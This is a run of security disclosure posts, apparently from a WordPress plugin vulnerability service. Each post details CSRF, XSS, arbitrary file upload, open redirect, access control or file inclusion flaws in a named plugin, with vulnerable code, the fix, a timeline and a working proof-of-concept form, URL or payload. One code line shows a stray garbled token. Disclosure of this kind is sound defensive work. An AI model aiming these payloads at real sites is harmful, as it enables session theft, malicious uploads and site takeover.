22 Mar

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Invite Anyone

At the beginning of the year we took a couple of actions to improve our inclusion of vulnerabilities where there has not been a report on the vulnerability released by the discoverer so that we could expand the number of vulnerabilities we include in our dataset. First, we expanded our monitoring of changes made to plugins to spot more of those situations. Second, we started releasing posts with the details of those vulnerabilities, which allows us to provide more information on the vulnerabilities to our customers than we otherwise could. That has also led to us spotting additional vulnerabilities in those plugins, just as we have when reviewing reports for other vulnerabilities.

While putting together a post on a vulnerability that had existed in the plugin Invite Anyone we then spotted another vulnerability, which in part involved a lack of protection against cross-site request forgery (CSRF). After noticing that we did some more checking and found that there was also CSRF vulnerability when saving the plugin’s settings page, which could be used to cause cross-site scripting (XSS) due to a lack of sanitation when doing that. We notified the developer of those issues and they quickly got back to us and have now released version 1.3.16, which resolves the vulnerability.

Prior to 1.3.16 the plugin’s setting pages included a nonce, which is used to prevent CSRF, but when the settings are saved there was no check to make sure a valid one was included. That occurred in the function invite_anyone_admin_panel in the files /admin/admin-panel.php.

In version 1.3.15 the code for saving starts running right after a check to see if a request to save the settings is sent:

36
37
if ( !empty( $_POST['invite-anyone-settings-submit'] ) ) {
	$options = invite_anyone_options();

In 1.3.16 the function check_admin_referer() is run to check if a valid nonce is included in the request before moving on:

36
37
38
39
if ( !empty( $_POST['invite-anyone-settings-submit'] ) ) {
	check_admin_referer( 'invite_anyone-options' );
 
	$options = invite_anyone_options();

Also as of 1.3.15 the function used to sanitize the settings when they were passed through the function register_setting() didn’t so any sanitization:

636
637
638
function invite_anyone_settings_check($input) {
	return $input;
}

In 1.3.16 that function includes relevant sanitization for each of the settings.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the Send Invites Tab of a user BuddyPress Profile page, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=invite-anyone" method="POST">
<input type="hidden" name="invite_anyone[default_invitation_subject]" value="<script>alert(document.cookie);</script>">
<input type="submit" name="invite-anyone-settings-submit" value="Save Changes" />
</form>
</body>
</html>

Timeline

  • March 20, 2017 – Developer notified.
  • March 20, 2017 – Developer responds.
  • March 22, 2017 – Version 1.3.16 released, which fixes vulnerability.
22 Mar

Improper Access Control Vulnerability in Invite Anyone

At the beginning of the year we took a couple of actions to improve our inclusion of vulnerabilities where there has not been a report on the vulnerability released by the discoverer so that we could expand the number of vulnerabilities we include in our dataset. First, we expanded our monitoring of changes made to plugins to spot more of those situations. Second, we started releasing posts with the details of those vulnerabilities, which allows us to provide more information on the vulnerabilities to our customers than we otherwise could. That has also led to us spotting additional vulnerabilities in those plugins, just as we have when reviewing reports for other vulnerabilities.

While putting together a post on a vulnerability that had existed in the plugin Invite Anyone we noticed another related vulnerability. The original vulnerability involved a lack of enforcement of an admin set restriction on users setting the subject and message of invite email sent through the plugin. While looking into the details of that vulnerability we noticed that the plugin also didn’t enforce access control restrictions that can be set for sending invite emails through the plugin. While the relevant page for sending emails was not shown to user that should not be able to send them, a user could still send a request to cause those emails to be sent. The sending of emails also lacked protection against cross-site request forgery (CSRF), which would have had the impact of stopping those requests as well.  We notified the developer of those issues and they quickly got back to us and they have now released version 1.3.16, which resolves the vulnerabilities.

The vulnerabilities were fixed by adding the following code to the function invite_anyone_catch_send() in the file /by-email/by-email.php:

423
424
425
426
427
428
429
if ( ! invite_anyone_access_test() ) {
	return;
}
 
if ( ! isset( $_POST['ia-send-by-email-nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['ia-send-by-email-nonce'] ), 'invite_anyone_send_by_email' ) ) {
	return;
}

The function invite_anyone_access_test() checks if the user is permitted to send invite emails and the second part of that checks if a valid nonce has been included with the request to send the invite emails (the nonce has been added to the relevant form elsewhere in the code) to prevent CSRF. If either of those checks fail the functions exits and the invite emails are not sent.

Proof of Concept

On the page /wp-admin/admin.php?page=invite-anyone&subpage=access-control set it so that only Administrator-level users are allowed to send invite emails. Then when logged in as a lower level user submit the proof of concept below and the invite email will be sent.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[username] with the username of the user making the request, and “[email address]” with the email address to send the email invite to.

<html>
<body>
<form action="http://[path to WordPress]/members/[username]/invite-anyone/sent-invites/send/" method="POST">
<input type="hidden" name="invite_anyone_email_addresses" value="[email address]">
<input type="hidden" name="invite_anyone_custom_subject" value="An invitation to join the test community.">
<input type="hidden" name="invite_anyone_custom_message" value="You have been invited by test to join the test community.
Visit test's profile at http://localhost/members/test/.">
<input type="hidden" name="invite-anyone-submit" value="Send Invites ">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • March 20, 2017 – Developer notified.
  • March 20, 2017 – Developer responds.
  • March 22, 2017 – Version 1.3.16 released, which fixes vulnerability.
13 Mar

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Really Simple Gallery

While looking in to a report of a reflected cross-site scripting vulnerability in the plugin Really Simple Gallery we noticed that there is also cross-site request forgery (CSRF)/arbitrary file upload vulnerability in it.

When uploading a file through the plugin’s settings page there is no check for a valid nonce to protect against CSRF, as seen in the file /reallysimplegallery.php starting on line 90:

 if(isset($_POST["addImage"])){
 $target_path = get_option("simple_gallery_uploads");
 $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 
 
 echo '<div id="setting-error-settings_updated" class="updated settings-error"><p><strong>';

 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

While the file being uploaded is supposed to be an image, there is no restriction on what type of file can be uploaded.

We couldn’t find a contact for the developer, so we are notifying the WordPress.org Plugin Directory of the issue.

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to the directory /wp-content/plugins/really-simple-gallery/uploads/ on the website, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=my-unique-identifier" method="POST" enctype="multipart/form-data">
<input type="file" name="uploadedfile" />
<input type="submit" name="addImage" value="Submit" />
</form>
</body>
</html>

Timeline

  • 3/13/2017 – WordPress.org Plugin Directory notified.
  • 3/13/2017 – Removed from WordPress.org Plugin Directory.
22 Feb

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Democracy Poll

As part of the feature of our service where we do security reviews of plugins that are selected by our customers, we recently reviewed the plugin Democracy Poll. The most serious issue we found in that review was a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability.

The CSRF potion of the vulnerability was due to a lack of a nonce on the Texts Changes tab of the plugin’s admin page and a lack of a check for a valid one when processing a request to change the plugin’s settings .

For the XSS issue, in the file /admin/class.DemAdminInit.php the function update_l10n() saves the relevant settings and no sanitization is done in version 5.3.6:

151
152
153
154
155
156
157
158
159
160
function update_l10n(){
	$new_l10n = stripslashes_deep( $_POST['l10n'] );
 
	// удалим, если нет отличия от оригинального перевода
	foreach( $new_l10n as $k => $v )
		if( __( $k,'dem') == $v )
			unset( $new_l10n[ $k ] );
 
	update_option('democracy_l10n', $new_l10n );
}

When the values are output they are not escaped, take for the example the value for “Vote”, in the file /democracy-poll/class.DemPoll.php it is output on line 384:

$vote_btn = '<a href="javascript:void(0);" class="dem-button '. Dem::$opt['btn_class'] .' dem-vote-link" data-dem-act="vote_screen" rel="nofollow">'. __dem('Vote') .'</a>';

The function that gets the value of “Vote” there __dem() (in the file /democracy.php) does not escape it either:

69
70
71
72
73
74
75
function __dem( $str ){
	static $cache;
	if( $cache === null )
		$cache = get_option('democracy_l10n');
 
	return isset( $cache[ $str ] ) ? $cache[ $str ] : __( $str, 'dem');
}

We notified the developer of the issue and the rest of our review’s findings on February 8, but we haven’t heard back from them and no changes had been made to the plugin since then.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=democracy-poll&subpage=l10n and fronted pages with a poll on them, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=democracy-poll&subpage=l10n" method="POST">
<input type="hidden" name="l10n[Vote]" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="dem_save_l10n" value="Save Text" />
</form>
</body>
</html>

Timeline

  • February 8, 2017 – Developer notified.
  • February 22, 2017 – WordPress.org Plugin Directory notified.
  • February 23, 2017 – Version 5.4  submitted to Plugin Directory subversion repository, which fixes vulnerability.
17 Feb

Reflected Cross-Site Scripting (XSS) Vulnerability in Time Sheets

We recently found that the Time Sheets plugin contains a reflected cross-site scripting (XSS) vulnerability on one the plugin’s admin pages, Old Timesheets.

As of version 1.3.1, in the file /entry.php the GET inputs “start_date”, “end_date”, and “include_completed” were echo’d out with being sanitized or escaped to prevent malicious code from being placed on the page:

$start_date = $_GET['start_date'];
$end_date = $_GET['end_date'];

if ($start_date=='') {
 $start_date = date('Y-m-d', strtotime("-1 Year"));
}
if ($end_date=='') {
 $end_date = date('Y-m-d', strtotime("+1 Day"));
}

echo '<form method="get">';
echo "Enter Range To Search: ";
echo "<input type='text' name='start_date' size='10' value='{$start_date}'>";
echo " to ";
echo "<input type='text' name='end_date' size='10' value='{$end_date}'>";
echo "<br><input type='checkbox' name='include_completed' value='checked' {$_GET['include_completed']}> Include Completed Timesheets";

We notified the developer of the issue, but we haven’t heard back from them. Subsequent to that version 1.4.0 was released, which sanitizes two of those GET inputs,  “start_date” and “end_date”, by running them through a couple of the plugin’s functions:

772
773
$start_date = $common-&gt;f_date($common-&gt;clean_from_db($_GET['start_date']));
$end_date = $common-&gt;f_date($common-&gt;clean_from_db($_GET['end_date']));

No change was made related to third GET input “include_completed”, so the change with the others could be unrelated to our notifying the developer of the issue.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?start_date=2017-02-02&end_date=2017-02-03&submit=Search&page=search_timesheet&include_completed='><script>alert(document.cookie);</script>

Timeline

  • February 2, 2017: Developer notified.
  • February 17, 2017 – WordPress.org Plugin Directory notified.
  • February 17, 2017 – Plugin removed from WordPress.org Plugin Directory.
  • February 18, 2017 – Version 1.5.0 submitted to the Plugin Directory’s subversion repository, which resolves the vulnerability.
17 Feb

Open Redirect Vulnerability in GTranslate

Recently while looking in to what turned out to be unrelated probing from a hacker for WordPress plugins we took a look at the plugin GTranslate and found that it has an open redirect vulnerability.

In the file /url_addon/gtranslate.php a redirect will occur if two variables are the same:

30
31
32
33
if($glang == $main_lang) {
    header('Location: ' . $page_url, true, 301);
    exit;
}

The variable $main_lang is currently hardcoded to “en” in the file /url_addon/config.php and the value of the other is set to the value of the GET input “glang”:

7
$glang = $_GET['glang'];

The value of $page_url, which is where the redirect occurs to is generated with the following code:

12
13
14
15
16
17
18
$page_url = '/'.$_GET['gurl'];
 
$page_url_segments = explode('/', $page_url);
foreach($page_url_segments as $i => $segment) {
    $page_url_segments[$i] = rawurlencode($segment);
}
$page_url = implode('/', $page_url_segments);

By specifying a value for the GET input “gurl” that starts with a “/” and the includes a URL without the protocol, the value of $page_url will be the URL with “//” before it, which tells the web browser to redirect to URL with whatever protocol the current page has. The protocol would either be http:// or https:// depending on which one you used with the request to /url_addon/config.php.

We contacted the developer about the issue and got an automated response that they would respond soon, but we haven’t heard from them since.

Proof of Concept

The following proof of concept will redirect you to our website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/gtranslate/url_addon/gtranslate.php?glang=en&gurl=/www.pluginvulnerabilities.com

Timeline

  • February 3, 2017 – Developer notified.
  • February 17, 2017 – WordPress.org Plugin Directory notified.
  • February 17, 2017 – Removed from WordPress.org Plugin Directory.
  • February 18, 2017 – Version 2.8.11 submitted to WordPress.org Plugin Directory subversion repository, which fixes issue.
13 Feb

Authenticated Local File Inclusion (LFI) Vulnerability in Posts in Page

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor hacking attempts on our websites. Through that we recently came across a request for a file, /wp-content/plugins/posts-in-page/assets/posts_in_page_help_view.php, from the plugin Posts in Page.

Nothing in that file looks like it could be exploited, so it looks like that request was instead probing for usage of the plugin. In looking over the rest of the code of the plugin we did find one vulnerability, that might be of more interest to hackers with the recent exploitation of a vulnerability in WordPress 4.7.0 and 4.7.1 that allowed an attacker to modify posts.

In the file /lib/page_posts.php we first found that it looked like it might be possible for arbitrary files to be included through the following that requires a specified file:

186
187
188
require ( $file_path = self::has_theme_template() )
	? $file_path // use template file in theme
	: POSTSPAGE_DIR . '/posts_loop_template.php'; // use default plugin template file

The function has_theme_template called there looks like this:

164
165
166
167
168
169
170
protected function has_theme_template() {
	$template_file = ( $this->args['template'] )
		? get_stylesheet_directory()  . '/' . $this->args['template'] // use specified template file
		: get_stylesheet_directory() . '/posts_loop_template.php'; // use default template file
 
	return ( file_exists( $template_file ) ) ? $template_file : false;
}

The value of $this->args[‘template’] in that comes from the “template” attribute of the plugin’s shortcode. There is no restriction on who can use that shortcode or attribute, so contributor-level and above users can cause any file on the website to be included through the use of directory traversal, which is an authenticated local file inclusion (LFI) vulnerability.

For author-level and above users there is a more serious issue as they have ability to upload media through WordPress. It is possible to upload media file that contain PHP code in them. Normally that code would not be able to run because the file extension of the file would not be one that causes the web server to execute it, but including such a file through a vulnerability like this would allow it to run.

Proof of Concept

When logged in as user that can add new posts, adding the following proof of concept to a post’s content will include a file named test.php from the root directory when viewing the resulting post (it will be included even when previewing the post):

[ic_add_posts template='../../../test.php']

Timeline

  • February 8, 2016 –  Developer notified.
  • February 13, 2017 – WordPress.org Plugin Directory notified.
  • February 13, 2017 – Vulnerability added to the free data included with our services’s companion plugin.
  • February 14, 2017 – Version 1.3.0 released, which fixes vulnerability.
07 Feb

Persistent Cross-Site Scripting (XSS) Vulnerability in XO Security

When it comes to trying to improve the security surrounding WordPress one of the big impediments is the security industry. One of the things we see them doing is providing misleading and sometimes outright false information to the public about security. One outright falsehood that has been widely spread is that there are lots of brute force attacks against WordPress admin passwords, when based on security companies own evidence are not happening at all. What is really happening are dictionary attacks, which involve an attacker try to login using common passwords. That type of attack is easily protected against by using a strong password, something that WordPress does a good job of helping you do. What might explain why security companies are saying something that isn’t true here is so that they can use the false claim to promote their plugins and services, like we have found Wordfence doing. The problem with this is that every plugin on the website introduces the possibility of a vulnerability, including security plugins.

Take the plugin XO Security that we recently ran across, which is promoted as providing “enhanced login security.” It provides a number of features and by default it will log login attempts. That involves storing and outputting user input data, which needs to be properly handled, but in that wasn’t happening, which was allowing for persistent cross-site scripting (XSS).

When a failed login attempts occurs the plugin’s function failed_login(), in the file /main.php, is run. If the failed login attempt doesn’t involve a username that already exists on the website, the password was logged without being sanitized in version 1.5.2:

292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
function failed_login( $user_name ) {
	global $wpdb;
 
	$login_time = current_time( 'mysql' );
	$ip_address = $this->get_ipaddress();
	$lang = $this->get_language();
	$user_agent = $this->get_user_agent();
	$password = filter_input ( INPUT_POST, 'pwd' );
 
	if ( get_user_by( 'login', $user_name ) ) {
		$password = null;
	}
 
	$wpdb->insert( $this->loginlog_table, array(
		'success' => false,
		'login_time' => $login_time,
		'ip_address' => $ip_address,
		'lang' => $lang,
		'user_agent' => $user_agent,
		'user_name' => $user_name,
		'failed_password' =>F% $password
	) );

When the data was output on the page /wp-admin/users.php?page=xo-security-login-log in 1.5.2  there was no escaping of the password value (in the file /admin.php):

159
160
161
162
163
164
165
$datas = $wpdb->get_results( $wpdb->prepare(
	"SELECT `id`,`success`,`login_time` as `logintime`,`ip_address` as `ipaddress`,`lang`,`user_agent` as `useragent`,`user_name` as `loginname`,`failed_password` as `failedpassword`" .
	"FROM {$loginlog_table}{$where} ORDER BY `{$orderby}` {$order} LIMIT %d, %d;", $start, $per_page
), 'ARRAY_A' );
$this->items = $datas;
 
$this->set_pagination_args( array( 'total_items' => $total_items, 'per_page' => $per_page, 'total_pages' => ceil( $total_items / $per_page ) ) );

After we notified the developer of the vulnerability they released version 1.5.3, which fixed it by running the password value through esc_html() when saving it and when outputting it.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/users.php?page=xo-security-login-log.

Attempt to login into WordPress with a username that doesn’t exist on the website and the following as the password:

<script>alert(document.cookie);</script>

Timeline

  • February 6, 2017 – Developer Notified
  • February 7, 2017 – Version 1.5.3 released, which fixes vulnerability.
30 Jan

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in ABASE

We recently found that the ABASE plugin contains a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s setting pages, /wp-admin/options-general.php?page=abase.

The CSRF potion of the vulnerability was due to a lack of a nonce on the page and a lack of a check for a valid one when processing a request to change the plugin’s settings.

For the XSS issue, in the file /abase_plugin_options.php starting at line 31 in version 2.6, settings are saved and there is no sanitization done. For example, the file File Upload Directory setting is saved with this code:

57
58
$dbfiles = $_POST['bus311mtd_dbfiles'];
update_option('bus311mtd_dbfiles', $dbfiles);

When the values are outputted on the page through the same file they were not escaped. For example, for the File Upload Directory setting is echo’d on line 246:

<td colspan=3>http://<?php echo $_SERVER['HTTP_HOST']; ?>/<input type="text" name="bus311mtd_dbfiles<?php echo $dbn;?>" value="<?php echo $dfiles; ?>" <?php if($dfiles==''){echo 'placeholder="'.$bus311mtd_default_file_upload_directory.'"';};?> size="20">/&lt;table_name&gt;/&lt;column_name&gt;/&lt;primary_index&gt;/&lt;file_name&gt;</td>

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=abase, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=abase" method="POST">
<input type="hidden" name="bus311mtd_hidden" value="Y" />
<input type="hidden" name="bus311mtd_show" value="1" />
<input type="hidden" name="bus311mtd_dbfiles" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

The plugin’s website is no longer accessible, so we couldn’t contact the plugin’s developer and we are notifying the Plugin Directory of our disclosure.

Timeline

  • January 30, 2017 – WordPress.org Plugin Directory notified.
  • January 30, 2017- Plugin removed from WordPress.org Plugin Directory.
23 Jan

Open Redirect Vulnerability in moreAds SE

We have recently been increasing the amount of new vulnerabilities we include our data through better monitoring of changes made to plugins, so that in more cases where there hasn’t been a report released on the vulnerability we can still include the vulnerability. Combined with that we have increased the number of post we have put out detailing those vulnerabilities. Seeing as we often find that vulnerabilities have been only partially fixed or not fixed at all, that also is likely to mean we will find more vulnerabilities that haven’t been fixed, despite an attempt to do so.

That was the case when we looked in to a reflected cross-site scripting vulnerability in the plugin moreAds SE. First we noticed that the vulnerability had not been fixed, but then we noticed that there was another vulnerability in the same code.

In version 1.4.8 of the plugin, the file /lib/Ads/html/bypass_stage_2.php takes a user specified value and places it in a JavaScript code that redirects to another location:

<script type="text/javascript">
 window.top.location = "<?php echo isset($_GET['i']) ? str_replace('"', '', $_GET['i']) : ''; ?>";
</script>

Since there is no restriction placed on what the value can be (other than removing any double quotes), you could cause a request sent through this to redirect to any web address, which is an open redirect.

After we notified the developer of the issue they released version 1.4.9, which fixes the issue by requiring an additional unique value generated by the plugin to be provided with the requests that cause a redirect to happen:

<?php
 $current_url = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
 $is_valid = MASE_UrlSigning::verifySignedUrl($current_url, MASE::$URLSIGNING_KEY);
 $url = $is_valid ? $_GET['i'] : '/';
?>

window.top.location = "<?php echo esc_url($url); ?>";

Proof of Concept

The following proof of concept will cause you to come to our homepage.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=mase_cst_redir&i=https://www.pluginvulnerabilities.com

Timeline

  • January 20, 2017: Notified developer.
  • January 23, 2017: Version 1.4.9 released, which fixes vulnerability.